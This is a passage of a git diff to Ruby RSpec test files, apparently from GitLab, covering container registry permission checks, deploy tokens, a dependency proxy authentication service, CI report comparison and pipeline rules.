- it_behaves_like 'not a container repository factory'
-
- it 'logs an auth warning' do
- expect(Gitlab::AuthLogger).to receive(:warn).with(
- message: 'Denied container registry permissions',
- scope_type: 'repository',
- requested_project_path: project.full_path,
- requested_actions: ['*'],
- authorized_actions: [],
- user_id: current_user.id,
- username: current_user.username
- )
-
- subject
- end
- end
-
- context 'disallow developer to delete images since registry 2.7' do
- before_all do
- project.add_developer(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:delete"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'allow reporter to pull images' do
- before_all do
- project.add_reporter(current_user)
- end
-
- context 'when pulling from root level repository' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull"] }
- end
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
- end
-
- context 'disallow reporter to delete images' do
- before_all do
- project.add_reporter(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:*"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow reporter to delete images since registry 2.7' do
- before_all do
- project.add_reporter(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:delete"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'return a least of privileges' do
- before_all do
- project.add_reporter(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push,pull"] }
- end
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow guest to pull or push images' do
- before_all do
- project.add_guest(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull,push"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow guest to delete images' do
- before_all do
- project.add_guest(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:*"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow guest to delete images since registry 2.7' do
- before_all do
- project.add_guest(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:delete"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
- end
-
- context 'for public project' do
- let_it_be(:project) { create(:project, :public) }
-
- context 'allow anyone to pull images' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull"] }
- end
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow anyone to push images' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow anyone to delete images' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:*"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow anyone to delete images since registry 2.7' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:delete"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'when repository name is invalid' do
- let(:current_params) do
- { scopes: ['repository:invalid:push'] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
- end
-
- context 'for internal project' do
- let_it_be(:project) { create(:project, :internal) }
-
- context 'for internal user' do
- context 'allow anyone to pull images' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull"] }
- end
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow anyone to push images' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow anyone to delete images' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:*"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow anyone to delete images since registry 2.7' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:delete"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
- end
-
- context 'for external user' do
- context 'disallow anyone to pull or push images' do
- let_it_be(:current_user) { create(:user, external: true) }
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull,push"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow anyone to delete images' do
- let_it_be(:current_user) { create(:user, external: true) }
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:*"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'disallow anyone to delete images since registry 2.7' do
- let_it_be(:current_user) { create(:user, external: true) }
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:delete"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
- end
- end
- end
-
- context 'delete authorized as maintainer' do
- let_it_be(:current_project) { create(:project) }
- let_it_be(:current_user) { create(:user) }
-
- let(:authentication_abilities) do
- [:admin_container_image]
- end
-
- before_all do
- current_project.add_maintainer(current_user)
- end
-
- it_behaves_like 'a valid token'
-
- context 'allow to delete images' do
- let(:current_params) do
- { scopes: ["repository:#{current_project.full_path}:*"] }
- end
-
- it_behaves_like 'a deletable' do
- let(:project) { current_project }
- end
- end
-
- context 'allow to delete images since registry 2.7' do
- let(:current_params) do
- { scopes: ["repository:#{current_project.full_path}:delete"] }
- end
-
- it_behaves_like 'a deletable since registry 2.7' do
- let(:project) { current_project }
- end
- end
- end
-
- context 'build authorized as user' do
- let_it_be(:current_project) { create(:project) }
- let_it_be(:current_user) { create(:user) }
-
- let(:authentication_abilities) do
- [:build_read_container_image, :build_create_container_image, :build_destroy_container_image]
- end
-
- before_all do
- current_project.add_developer(current_user)
- end
-
- context 'allow to use offline_token' do
- let(:current_params) do
- { offline_token: true }
- end
-
- it_behaves_like 'an authenticated'
- end
-
- it_behaves_like 'a valid token'
-
- context 'allow to pull and push images' do
- let(:current_params) do
- { scopes: ["repository:#{current_project.full_path}:pull,push"] }
- end
-
- it_behaves_like 'a pullable and pushable' do
- let(:project) { current_project }
- end
-
- it_behaves_like 'container repository factory' do
- let(:project) { current_project }
- end
- end
-
- context 'allow to delete images since registry 2.7' do
- let(:current_params) do
- { scopes: ["repository:#{current_project.full_path}:delete"] }
- end
-
- it_behaves_like 'a deletable since registry 2.7' do
- let(:project) { current_project }
- end
- end
-
- context 'disallow to delete images' do
- let(:current_params) do
- { scopes: ["repository:#{current_project.full_path}:*"] }
- end
-
- it_behaves_like 'an inaccessible' do
- let(:project) { current_project }
- end
- end
-
- context 'for other projects' do
- context 'when pulling' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull"] }
- end
-
- context 'allow for public' do
- let_it_be(:project) { create(:project, :public) }
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
-
- shared_examples 'pullable for being team member' do
- context 'when you are not member' do
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'when you are member' do
- before_all do
- project.add_developer(current_user)
- end
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'when you are owner' do
- let_it_be(:project) { create(:project, namespace: current_user.namespace) }
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
- end
-
- context 'for private' do
- let_it_be(:project) { create(:project, :private) }
-
- it_behaves_like 'pullable for being team member'
-
- context 'when you are admin' do
- let_it_be(:current_user) { create(:admin) }
-
- context 'when you are not member' do
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'when you are member' do
- before_all do
- project.add_developer(current_user)
- end
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'when you are owner' do
- let_it_be(:project) { create(:project, namespace: current_user.namespace) }
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
- end
- end
- end
-
- context 'when pushing' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push"] }
- end
-
- context 'disallow for all' do
- context 'when you are member' do
- let_it_be(:project) { create(:project, :public) }
-
- before_all do
- project.add_developer(current_user)
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'when you are owner' do
- let_it_be(:project) { create(:project, :public, namespace: current_user.namespace) }
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
- end
- end
- end
-
- context 'for project without container registry' do
- let_it_be(:project) { create(:project, :public, container_registry_enabled: false) }
-
- before do
- project.update!(container_registry_enabled: false)
- end
-
- context 'disallow when pulling' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
- end
-
- context 'for project that disables repository' do
- let_it_be(:project) { create(:project, :public, :repository_disabled) }
-
- context 'disallow when pulling' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull"] }
- end
-
- it_behaves_like 'an inaccessible'
- it_behaves_like 'not a container repository factory'
- end
- end
- end
-
- context 'registry catalog browsing authorized as admin' do
- let_it_be(:current_user) { create(:user, :admin) }
- let_it_be(:project) { create(:project, :public) }
-
- let(:current_params) do
- { scopes: ["registry:catalog:*"] }
- end
-
- it_behaves_like 'a browsable'
- end
-
- context 'support for multiple scopes' do
- let_it_be(:internal_project) { create(:project, :internal) }
- let_it_be(:private_project) { create(:project, :private) }
-
- let(:current_params) do
- {
- scopes: [
- "repository:#{internal_project.full_path}:pull",
- "repository:#{private_project.full_path}:pull"
- ]
- }
- end
-
- context 'user has access to all projects' do
- let_it_be(:current_user) { create(:user, :admin) }
-
- before do
- enable_admin_mode!(current_user)
- end
-
- it_behaves_like 'a browsable' do
- let(:access) do
- [
- { 'type' => 'repository',
- 'name' => internal_project.full_path,
- 'actions' => ['pull'] },
- { 'type' => 'repository',
- 'name' => private_project.full_path,
- 'actions' => ['pull'] }
- ]
- end
- end
- end
-
- context 'user only has access to internal project' do
- let_it_be(:current_user) { create(:user) }
-
- it_behaves_like 'a browsable' do
- let(:access) do
- [
- { 'type' => 'repository',
- 'name' => internal_project.full_path,
- 'actions' => ['pull'] }
- ]
- end
- end
- end
-
- context 'anonymous access is rejected' do
- let(:current_user) { nil }
-
- it_behaves_like 'a forbidden'
- end
- end
-
- context 'unauthorized' do
- context 'disallow to use scope-less authentication' do
- it_behaves_like 'a forbidden'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'for invalid scope' do
- let(:current_params) do
- { scopes: ['invalid:aa:bb'] }
- end
-
- it_behaves_like 'a forbidden'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'for private project' do
- let_it_be(:project) { create(:project, :private) }
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull"] }
- end
-
- it_behaves_like 'a forbidden'
- end
-
- context 'for public project' do
- let_it_be(:project) { create(:project, :public) }
-
- context 'when pulling and pushing' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull,push"] }
- end
-
- it_behaves_like 'a pullable'
- it_behaves_like 'not a container repository factory'
- end
-
- context 'when pushing' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push"] }
- end
-
- it_behaves_like 'a forbidden'
- it_behaves_like 'not a container repository factory'
- end
- end
-
- context 'for registry catalog' do
- let(:current_params) do
- { scopes: ["registry:catalog:*"] }
- end
-
- it_behaves_like 'a forbidden'
- it_behaves_like 'not a container repository factory'
- end
- end
-
- context 'for deploy tokens' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:pull"] }
- end
-
- context 'when deploy token has read and write registry as scopes' do
- let(:current_user) { create(:deploy_token, write_registry: true, projects: [project]) }
-
- shared_examples 'able to login' do
- context 'registry provides read_container_image authentication_abilities' do
- let(:current_params) { {} }
- let(:authentication_abilities) { [:read_container_image] }
-
- it_behaves_like 'an authenticated'
- end
- end
-
- context 'for public project' do
- let_it_be(:project) { create(:project, :public) }
-
- context 'when pulling' do
- it_behaves_like 'a pullable'
- end
-
- context 'when pushing' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push"] }
- end
-
- it_behaves_like 'a pushable'
- end
-
- it_behaves_like 'able to login'
- end
-
- context 'for internal project' do
- let_it_be(:project) { create(:project, :internal) }
-
- context 'when pulling' do
- it_behaves_like 'a pullable'
- end
-
- context 'when pushing' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push"] }
- end
-
- it_behaves_like 'a pushable'
- end
-
- it_behaves_like 'able to login'
- end
-
- context 'for private project' do
- let_it_be(:project) { create(:project, :private) }
-
- context 'when pulling' do
- it_behaves_like 'a pullable'
- end
-
- context 'when pushing' do
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push"] }
- end
-
- it_behaves_like 'a pushable'
- end
-
- it_behaves_like 'able to login'
- end
- end
-
- context 'when deploy token does not have read_registry scope' do
- let(:current_user) { create(:deploy_token, projects: [project], read_registry: false) }
-
- shared_examples 'unable to login' do
- context 'registry provides no container authentication_abilities' do
- let(:current_params) { {} }
- let(:authentication_abilities) { [] }
-
- it_behaves_like 'a forbidden'
- end
-
- context 'registry provides inapplicable container authentication_abilities' do
- let(:current_params) { {} }
- let(:authentication_abilities) { [:download_code] }
-
- it_behaves_like 'a forbidden'
- end
- end
-
- context 'for public project' do
- let_it_be(:project) { create(:project, :public) }
-
- context 'when pulling' do
- it_behaves_like 'a pullable'
- end
-
- it_behaves_like 'unable to login'
- end
-
- context 'for internal project' do
- let_it_be(:project) { create(:project, :internal) }
-
- context 'when pulling' do
- it_behaves_like 'an inaccessible'
- end
-
- it_behaves_like 'unable to login'
- end
-
- context 'for private project' do
- let_it_be(:project) { create(:project, :internal) }
-
- context 'when pulling' do
- it_behaves_like 'an inaccessible'
- end
-
- context 'when logging in' do
- let(:current_params) { {} }
- let(:authentication_abilities) { [] }
-
- it_behaves_like 'a forbidden'
- end
-
- it_behaves_like 'unable to login'
- end
- end
-
- context 'when deploy token is not related to the project' do
- let_it_be(:current_user) { create(:deploy_token, read_registry: false) }
-
- context 'for public project' do
- let_it_be(:project) { create(:project, :public) }
-
- context 'when pulling' do
- it_behaves_like 'a pullable'
- end
- end
-
- context 'for internal project' do
- let_it_be(:project) { create(:project, :internal) }
-
- context 'when pulling' do
- it_behaves_like 'an inaccessible'
- end
- end
-
- context 'for private project' do
- let_it_be(:project) { create(:project, :internal) }
-
- context 'when pulling' do
- it_behaves_like 'an inaccessible'
- end
- end
- end
-
- context 'when deploy token has been revoked' do
- let(:current_user) { create(:deploy_token, :revoked, projects: [project]) }
-
- context 'for public project' do
- let_it_be(:project) { create(:project, :public) }
-
- it_behaves_like 'a pullable'
- end
-
- context 'for internal project' do
- let_it_be(:project) { create(:project, :internal) }
-
- it_behaves_like 'an inaccessible'
- end
-
- context 'for private project' do
- let_it_be(:project) { create(:project, :internal) }
-
- it_behaves_like 'an inaccessible'
- end
- end
- end
-
- context 'user authorization' do
- let_it_be(:current_user) { create(:user) }
-
- context 'with multiple scopes' do
- let_it_be(:project) { create(:project) }
-
- context 'allow developer to push images' do
- before_all do
- project.add_developer(current_user)
- end
-
- let(:current_params) do
- { scopes: ["repository:#{project.full_path}:push"] }
- end
-
- it_behaves_like 'a pushable'
- it_behaves_like 'container repository factory'
- end
- end
- end
+ it_behaves_like 'a container registry auth service'
end
diff --git a/spec/services/auth/dependency_proxy_authentication_service_spec.rb b/spec/services/auth/dependency_proxy_authentication_service_spec.rb
new file mode 100644
index 00000000000..ba50149f53a
--- /dev/null
+++ b/spec/services/auth/dependency_proxy_authentication_service_spec.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Auth::DependencyProxyAuthenticationService do
+ let_it_be(:user) { create(:user) }
+ let(:service) { Auth::DependencyProxyAuthenticationService.new(nil, user) }
+
+ before do
+ stub_config(dependency_proxy: { enabled: true })
+ end
+
+ describe '#execute' do
+ subject { service.execute(authentication_abilities: nil) }
+
+ context 'dependency proxy is not enabled' do
+ before do
+ stub_config(dependency_proxy: { enabled: false })
+ end
+
+ it 'returns not found' do
+ result = subject
+
+ expect(result[:http_status]).to eq(404)
+ expect(result[:message]).to eq('dependency proxy not enabled')
+ end
+ end
+
+ context 'without a user' do
+ let(:user) { nil }
+
+ it 'returns forbidden' do
+ result = subject
+
+ expect(result[:http_status]).to eq(403)
+ expect(result[:message]).to eq('access forbidden')
+ end
+ end
+
+ context 'with a user' do
+ it 'returns a token' do
+ expect(subject[:token]).not_to be_nil
+ end
+ end
+ end
+end
diff --git a/spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb b/spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb
index 7b428550768..eaa5f723bec 100644
--- a/spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb
+++ b/spec/services/auto_merge/merge_when_pipeline_succeeds_service_spec.rb
@@ -191,7 +191,7 @@ RSpec.describe AutoMerge::MergeWhenPipelineSucceedsService do
expect(mr_merge_if_green_enabled.merge_user).to be nil
end
- it 'Posts a system note' do
+ it 'posts a system note' do
note = mr_merge_if_green_enabled.notes.last
expect(note.note).to include 'canceled the automatic merge'
end
diff --git a/spec/services/boards/lists/create_service_spec.rb b/spec/services/boards/lists/create_service_spec.rb
index 88b6c3098d1..d639fdbb46a 100644
--- a/spec/services/boards/lists/create_service_spec.rb
+++ b/spec/services/boards/lists/create_service_spec.rb
@@ -5,27 +5,29 @@ require 'spec_helper'
RSpec.describe Boards::Lists::CreateService do
describe '#execute' do
shared_examples 'creating board lists' do
- let(:user) { create(:user) }
+ let_it_be(:user) { create(:user) }
- subject(:service) { described_class.new(parent, user, label_id: label.id) }
-
- before do
+ before_all do
parent.add_developer(user)
end
+ subject(:service) { described_class.new(parent, user, label_id: label.id) }
+
context 'when board lists is empty' do
it 'creates a new list at beginning of the list' do
- list = service.execute(board)
+ response = service.execute(board)
- expect(list.position).to eq 0
+ expect(response.success?).to eq(true)
+ expect(response.payload[:list].position).to eq 0
end
end
context 'when board lists has the done list' do
it 'creates a new list at beginning of the list' do
- list = service.execute(board)
+ response = service.execute(board)
- expect(list.position).to eq 0
+ expect(response.success?).to eq(true)
+ expect(response.payload[:list].position).to eq 0
end
end
@@ -34,9 +36,10 @@ RSpec.describe Boards::Lists::CreateService do
create(:list, board: board, position: 0)
create(:list, board: board, position: 1)
- list = service.execute(board)
+ response = service.execute(board)
- expect(list.position).to eq 2
+ expect(response.success?).to eq(true)
+ expect(response.payload[:list].position).to eq 2
end
end
@@ -44,32 +47,35 @@ RSpec.describe Boards::Lists::CreateService do
it 'creates a new list at end of the label lists' do
list1 = create(:list, board: board, position: 0)
- list2 = service.execute(board)
+ list2 = service.execute(board).payload[:list]
expect(list1.reload.position).to eq 0
expect(list2.reload.position).to eq 1
end
end
- context 'when provided label does not belongs to the parent' do
- it 'raises an error' do
+ context 'when provided label does not belong to the parent' do
+ it 'returns an error' do
label = create(:label, name: 'in-development')
service = described_class.new(parent, user, label_id: label.id)
- expect { service.execute(board) }.to raise_error(ActiveRecord::RecordNotFound)
+ response = service.execute(board)
+
+ expect(response.success?).to eq(false)
+ expect(response.errors).to include('Label not found')
end
end
context 'when backlog param is sent' do
it 'creates one and only one backlog list' do
service = described_class.new(parent, user, 'backlog' => true)
- list = service.execute(board)
+ list = service.execute(board).payload[:list]
expect(list.list_type).to eq('backlog')
expect(list.position).to be_nil
expect(list).to be_valid
- another_backlog = service.execute(board)
+ another_backlog = service.execute(board).payload[:list]
expect(another_backlog).to eq list
end
@@ -77,17 +83,17 @@ RSpec.describe Boards::Lists::CreateService do
end
context 'when board parent is a project' do
- let(:parent) { create(:project) }
- let(:board) { create(:board, project: parent) }
- let(:label) { create(:label, project: parent, name: 'in-progress') }
+ let_it_be(:parent) { create(:project) }
+ let_it_be(:board) { create(:board, project: parent) }
+ let_it_be(:label) { create(:label, project: parent, name: 'in-progress') }
it_behaves_like 'creating board lists'
end
context 'when board parent is a group' do
- let(:parent) { create(:group) }
- let(:board) { create(:board, group: parent) }
- let(:label) { create(:group_label, group: parent, name: 'in-progress') }
+ let_it_be(:parent) { create(:group) }
+ let_it_be(:board) { create(:board, group: parent) }
+ let_it_be(:label) { create(:group_label, group: parent, name: 'in-progress') }
it_behaves_like 'creating board lists'
end
diff --git a/spec/services/ci/compare_accessibility_reports_service_spec.rb b/spec/services/ci/compare_accessibility_reports_service_spec.rb
index 6903a633eeb..e0b84219834 100644
--- a/spec/services/ci/compare_accessibility_reports_service_spec.rb
+++ b/spec/services/ci/compare_accessibility_reports_service_spec.rb
@@ -29,34 +29,4 @@ RSpec.describe Ci::CompareAccessibilityReportsService do
end
end
end
-
- describe '#latest?' do
- subject { service.latest?(base_pipeline, head_pipeline, data) }
-
- let!(:base_pipeline) { nil }
- let!(:head_pipeline) { create(:ci_pipeline, :with_accessibility_reports, project: project) }
- let!(:key) { service.send(:key, base_pipeline, head_pipeline) }
-
- context 'when cache key is latest' do
- let(:data) { { key: key } }
-
- it { is_expected.to be_truthy }
- end
-
- context 'when cache key is outdated' do
- before do
- head_pipeline.update_column(:updated_at, 10.minutes.ago)
- end
-
- let(:data) { { key: key } }
-
- it { is_expected.to be_falsy }
- end
-
- context 'when cache key is empty' do
- let(:data) { { key: nil } }
-
- it { is_expected.to be_falsy }
- end
- end
end
diff --git a/spec/services/ci/compare_codequality_reports_service_spec.rb b/spec/services/ci/compare_codequality_reports_service_spec.rb
new file mode 100644
index 00000000000..ef762a2e9ad
--- /dev/null
+++ b/spec/services/ci/compare_codequality_reports_service_spec.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::CompareCodequalityReportsService do
+ let(:service) { described_class.new(project) }
+ let(:project) { create(:project, :repository) }
+
+ describe '#execute' do
+ subject { service.execute(base_pipeline, head_pipeline) }
+
+ context 'when head pipeline has a codequality report' do
+ let(:base_pipeline) { nil }
+ let(:head_pipeline) { create(:ci_pipeline, :with_codequality_reports, project: project) }
+
+ it 'returns status and data' do
+ expect(subject[:status]).to eq(:parsed)
+ expect(subject[:data]).to match_schema('entities/codequality_reports_comparer')
+ end
+ end
+
+ context 'when base and head pipelines have codequality reports' do
+ let(:base_pipeline) { create(:ci_pipeline, :with_codequality_reports, project: project) }
+ let(:head_pipeline) { create(:ci_pipeline, :with_codequality_reports, project: project) }
+
+ it 'returns status and data' do
+ expect(subject[:status]).to eq(:parsed)
+ expect(subject[:data]).to match_schema('entities/codequality_reports_comparer')
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/compare_reports_base_service_spec.rb b/spec/services/ci/compare_reports_base_service_spec.rb
new file mode 100644
index 00000000000..9ce58c4972d
--- /dev/null
+++ b/spec/services/ci/compare_reports_base_service_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::CompareReportsBaseService do
+ let(:service) { described_class.new(project) }
+ let(:project) { create(:project, :repository) }
+
+ describe '#latest?' do
+ subject { service.latest?(base_pipeline, head_pipeline, data) }
+
+ let!(:base_pipeline) { nil }
+ let!(:head_pipeline) { create(:ci_pipeline, :with_test_reports, project: project) }
+ let!(:key) { service.send(:key, base_pipeline, head_pipeline) }
+
+ context 'when cache key is latest' do
+ let(:data) { { key: key } }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when cache key is outdated' do
+ before do
+ head_pipeline.update_column(:updated_at, 10.minutes.ago)
+ end
+
+ let(:data) { { key: key } }
+
+ it { is_expected.to be_falsy }
+ end
+
+ context 'when cache key is empty' do
+ let(:data) { { key: nil } }
+
+ it { is_expected.to be_falsy }
+ end
+ end
+end
diff --git a/spec/services/ci/compare_test_reports_service_spec.rb b/spec/services/ci/compare_test_reports_service_spec.rb
index 377c801b008..01d58b2095f 100644
--- a/spec/services/ci/compare_test_reports_service_spec.rb
+++ b/spec/services/ci/compare_test_reports_service_spec.rb
@@ -67,7 +67,7 @@ RSpec.describe Ci::CompareTestReportsService do
# The JUnit fixture for the given build has 3 failures.
# This service will create 1 test case failure record for each.
- Ci::TestCasesService.new.execute(build)
+ Ci::TestFailureHistoryService.new(head_pipeline).execute
end
it 'loads recent failures on limited test cases to avoid building up a huge DB query', :aggregate_failures do
@@ -80,34 +80,4 @@ RSpec.describe Ci::CompareTestReportsService do
end
end
end
-
- describe '#latest?' do
- subject { service.latest?(base_pipeline, head_pipeline, data) }
-
- let!(:base_pipeline) { nil }
- let!(:head_pipeline) { create(:ci_pipeline, :with_test_reports, project: project) }
- let!(:key) { service.send(:key, base_pipeline, head_pipeline) }
-
- context 'when cache key is latest' do
- let(:data) { { key: key } }
-
- it { is_expected.to be_truthy }
- end
-
- context 'when cache key is outdated' do
- before do
- head_pipeline.update_column(:updated_at, 10.minutes.ago)
- end
-
- let(:data) { { key: key } }
-
- it { is_expected.to be_falsy }
- end
-
- context 'when cache key is empty' do
- let(:data) { { key: nil } }
-
- it { is_expected.to be_falsy }
- end
- end
end
diff --git a/spec/services/ci/create_job_artifacts_service_spec.rb b/spec/services/ci/create_job_artifacts_service_spec.rb
index 72b0d220b11..29e51a23dea 100644
--- a/spec/services/ci/create_job_artifacts_service_spec.rb
+++ b/spec/services/ci/create_job_artifacts_service_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Ci::CreateJobArtifactsService do
upload = Tempfile.new('upload')
FileUtils.copy(path, upload.path)
- UploadedFile.new(upload.path, params)
+ UploadedFile.new(upload.path, **params)
end
describe '#execute' do
diff --git a/spec/services/ci/create_pipeline_service/merge_requests_spec.rb b/spec/services/ci/create_pipeline_service/merge_requests_spec.rb
new file mode 100644
index 00000000000..e5347faed6a
--- /dev/null
+++ b/spec/services/ci/create_pipeline_service/merge_requests_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::CreatePipelineService do
+ context 'merge requests handling' do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { project.owner }
+
+ let(:ref) { 'refs/heads/feature' }
+ let(:source) { :push }
+ let(:service) { described_class.new(project, user, { ref: ref }) }
+ let(:pipeline) { service.execute(source) }
+
+ before do
+ stub_ci_pipeline_yaml_file <<-EOS
+ workflow:
+ rules:
+ # do not create pipelines if merge requests are opened
+ - if: $CI_OPEN_MERGE_REQUESTS
+ when: never
+
+ - if: $CI_COMMIT_BRANCH
+
+ rspec:
+ script: echo Hello World
+ EOS
+ end
+
+ context 'when pushing a change' do
+ context 'when a merge request already exists' do
+ let!(:merge_request) do
+ create(:merge_request,
+ source_project: project,
+ source_branch: 'feature',
+ target_project: project,
+ target_branch: 'master')
+ end
+
+ it 'does not create a pipeline' do
+ expect(pipeline).not_to be_persisted
+ end
+ end
+
+ context 'when no merge request exists' do
+ it 'does create a pipeline' do
+ expect(pipeline.errors).to be_empty
+ expect(pipeline).to be_persisted
+ end
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/create_pipeline_service/rules_spec.rb b/spec/services/ci/create_pipeline_service/rules_spec.rb
index a0ff2fff0ef..ac6c4c188e4 100644
--- a/spec/services/ci/create_pipeline_service/rules_spec.rb
+++ b/spec/services/ci/create_pipeline_service/rules_spec.rb
@@ -93,6 +93,148 @@ RSpec.describe Ci::CreatePipelineService do
end
end
end
+
+ context 'with allow_failure and exit_codes', :aggregate_failures do
+ def find_job(name)
+ pipeline.builds.find_by(name: name)
+ end
+
+ let(:config) do
+ <<-EOY
+ job-1:
+ script: exit 42
+ allow_failure:
+ exit_codes: 42
+ rules:
+ - if: $CI_COMMIT_REF_NAME == "master"
+ allow_failure: false
+
+ job-2:
+ script: exit 42
+ allow_failure:
+ exit_codes: 42
+ rules:
+ - if: $CI_COMMIT_REF_NAME == "master"
+ allow_failure: true
+
+ job-3:
+ script: exit 42
+ allow_failure:
+ exit_codes: 42
+ rules:
+ - if: $CI_COMMIT_REF_NAME == "master"
+ when: manual
+ EOY
+ end
+
+ it 'creates a pipeline' do
+ expect(pipeline).to be_persisted
+ expect(build_names).to contain_exactly(
+ 'job-1', 'job-2', 'job-3'
+ )
+ end
+
+ it 'assigns job:allow_failure values to the builds' do
+ expect(find_job('job-1').allow_failure).to eq(false)
+ expect(find_job('job-2').allow_failure).to eq(true)
+ expect(find_job('job-3').allow_failure).to eq(false)
+ end
+
+ it 'removes exit_codes if allow_failure is specified' do
+ expect(find_job('job-1').options.dig(:allow_failure_criteria)).to be_nil
+ expect(find_job('job-2').options.dig(:allow_failure_criteria)).to be_nil
+ expect(find_job('job-3').options.dig(:allow_failure_criteria, :exit_codes)).to eq([42])
+ end
+
+ context 'with ci_allow_failure_with_exit_codes disabled' do
+ before do
+ stub_feature_flags(ci_allow_failure_with_exit_codes: false)
+ end
+
+ it 'does not persist allow_failure_criteria' do
+ expect(pipeline).to be_persisted
+
+ expect(find_job('job-1').options.key?(:allow_failure_criteria)).to be_falsey
+ expect(find_job('job-2').options.key?(:allow_failure_criteria)).to be_falsey
+ expect(find_job('job-3').options.key?(:allow_failure_criteria)).to be_falsey
+ end
+ end
+ end
+
+ context 'if:' do
+ context 'variables:' do
+ let(:config) do
+ <<-EOY
+ job:
+ script: "echo job1"
+ variables:
+ VAR1: my var 1
+ VAR2: my var 2
+ rules:
+ - if: $CI_COMMIT_REF_NAME =~ /master/
+ variables:
+ VAR1: overridden var 1
